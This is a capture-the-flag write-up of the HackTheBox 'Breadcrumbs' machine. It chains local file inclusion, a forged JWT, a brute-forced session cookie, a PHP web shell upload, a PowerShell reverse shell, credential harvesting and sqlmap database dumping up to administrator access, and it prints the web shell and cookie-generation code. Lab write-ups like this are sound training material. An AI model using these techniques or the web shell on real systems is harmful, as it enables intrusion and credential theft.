HTB Breadcrumbs

Writeup for Breadcrumbs box on HackTheBox.eu

Initial enumeration

The initial scan shows a few ports open:

Our first point of investigation is then the website which can provide some valuable information. We will proxy all our traffic via Burp Suite.

Trying a basic search shows us a list of books stored possibly in a database:

Looking at the POST request in Burp we see it's sending in a method=0 parameter this is interesting as it's not present on the form.

Sending the request to Burp Repeater to be able to play with the parameters. Changing the method=0 to method=1 yields an error on the page. The error is mentioning a parameter book which we don't have defined, as well as gives us a full local path and a very interesting error that leads us to believe we are dealing with a local file inclusion issue.

Verifying our initial suspicion about the LFI we send in a book=a parameter with the post request and our suspicion is confirmed by the error message presented.

After some tests we finally manage to read files on the server

db.php file

Found credentials

Service: Mysql

User: bread

Pass: jUli901

Having a ffuf running in the background discovers a few other folders of interest

Checking the folder portal as it looks interesting we are presented with a login form / signup form.

After creating an account we see a few other pages.

We see a file manager however we get redirected back to the index page. However having the initial LFI vulnerability we can see what the file does.

From here we see that only the user paul is allowed to access the file manager. However it now exposes some more files we can read such as auth/login.php and we might as well check portal/login.php. From portal/login.php we find an authController.php file which we need to check.

From authController.php we discover that the login system is using a java web token and the authController.php is storing the secret_key in plain text.

From here we now know the structure of the JWT as well as the secret key and it's type. This allows us to forge our own JWT and sign it.

Using the initial LFI again to read cookie.php we see some dev comments as well as an interesting fact, the session cookie can be bruteforced.

<?php
/**
 * @param string $username  Username requesting session cookie
 * 
 * @return string $session_cookie Returns the generated cookie
 * 
 * @devteam
 * Please DO NOT use default PHPSESSID; our security team says they are predictable.
 * CHANGE SECOND PART OF MD5 KEY EVERY WEEK
 * */
function makesession($username){
    $max = strlen($username) - 1;
    $seed = rand(0, $max);
    $key = "s4lTy_stR1nG_".$username[$seed]."(!528./9890";
    $session_cookie = $username.md5($key);

    return $session_cookie;
}

If we would like to bruteforce the session cookie for paul (the user who has access to file manager) there are only 4 possible hashes for the session so let's generate them.

<?php
$username = "paul";

$key = "s4lTy_stR1nG_".$username[0]."(!528./9890";
echo $username.md5($key) . "\n";

$key = "s4lTy_stR1nG_".$username[1]."(!528./9890";
echo $username.md5($key) . "\n";

$key = "s4lTy_stR1nG_".$username[2]."(!528./9890";
echo $username.md5($key) . "\n";

$key = "s4lTy_stR1nG_".$username[3]."(!528./9890";
echo $username.md5($key) . "\n";

Output:

paula2a6a014d3bee04d7df8d5837d62e8c5
paul61ff9d4aaefe6bdf45681678ba89ff9d
paul8c8808867b53c49777fe5559164708c3
paul47200b180ccd6835d25d034eeb6e6390

So now we have the valid session ids but we are still missing a JWT token. For this we go over to jwt.io to generate a valid jwt for paul. We copy our current token cookie value and paste it into the jwt.io Encoded payload and the secret key we found earlier into the your-256-bit-secret.

To get a valid token we change the username to paul

Copy the JWT token

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7InVzZXJuYW1lIjoicGF1bCJ9fQ.7pc5S1P76YsrWhi_gu23bzYLYWxqORkr0WtEz_IUtCU

Our next step is to replace our browser cookies with the generated ones. Once we replace the cookie and phpsession and refresh the page we are now logged in as Paul

Initial foothold

Now that we can upload files via the web file manager let's try and get some sort of foothold on the box.

As the website does requires us to pass a zip file let's see what happens when we upload it.

Create the archive:

Reading the fileController.php doesn't reveal any server side validation so we can proceed with uploading other files.

The request in burp show us that the frontend appends .zip to the filename

Our simple payload:

<?php echo "syk0\r\n"; echo system($_REQUEST['cmd']);?>

The request in burp looks like this:

In the meantime ffuf has found an uploads directory so let's go check it out.

Accessing the aa.php file show us we now have code execution on the server.

Let's try to get a shell on the machine. Since this is a windows server we will use a powershell reverse shell.

Save and serve a powershell reverse shell on your machine and then do the following request in burp

Once we execute the request while having a netcat listener we get a reverse shell

Looking through the files on the web server we see an interesting directory called pizzaDeliveryUserData

PS C:\Users\www-data\Desktop\xampp\htdocs\portal\pizzaDeliveryUserData> gc juliette.json

Content:

{
        "pizza" : "margherita",
        "size" : "large",
        "drink" : "water",
        "card" : "VISA",
        "PIN" : "9890",
        "alternate" : {
                "username" : "juliette",
                "password" : "jUli901./())!",
        }
}

We know there is an ssh process running so we can try the credentials above with ssh. This works and we get access to the user juliette. Here we find our first flag as well.

Credentials found

Username: juliette

Password: jUli901./())!

Lateral movement

In the toto.html we see something interesting about moving passwords from Microsoft Sticky notes to a new passwords manager.

We can download the StickyNotes database locally to explore the data stored there:

Copy all the sqlite files, all 3 as the normal sqlite file requires the other 2 files to open correctly. This can be done using the scp command on linux.

Once the files are copied locally we can open the database with DB Browser for SQLite in kali.

The Note table contains some interesting information:

Credentials found

Username: development

Password: fN3)sN5Ee@g

We can now ssh into the box as development user.

Privilege escalation

Browsing the server with the development user we notice a development folder with a linux binary inside.

Downloading the binary and exploring it locally.

This shows us a new website running on port 1234 which seems to be a password manager based on the name of the virtual host.

Using an ssh port forward with the development user to be able to access port 1234 from our machine

ssh -L 1234:127.0.0.1:1234 [email protected]

After the port forward is setup we can set our /etc/hosts to point passmanager.htb to 127.0.0.1 and then we can access it in our browser:

http://passmanager.htb:1234/index.php?method=select&username=administrator&table=passwords

selectarray(1) { [0]=> array(1) { ["aes_key"]=> string(16) "k19D193j.<19391(" } } 

Running sqlmap on that url we are able to dump the database since there is an sqlinjection vulnerability on that website.

To do this we save the request from burp to a file and run the following command

sqlmap -r passmanager.req --dump-all

This will take while to run but eventually we get some data

id,account,aes_key,password
1,Administrator,k19D193j.<19391(,H2dFz/jNwtSTWDURot9JBhWMP6XOdmcpgqvYHG35QKw=

We know we have an aes key so lets go to cyberchef and try to decrypt the password.

Using the key and password in AES-ECB mode since we don't have an IV we notice it can decode half the string correctly. Testing with AES-CBC with an IV of all 0s (16 pairs of 0)

This gives us the administrator password and access to the server on ssh.

Credentials found

Username: Administrator

Password: p@ssw0rd!@#$9890./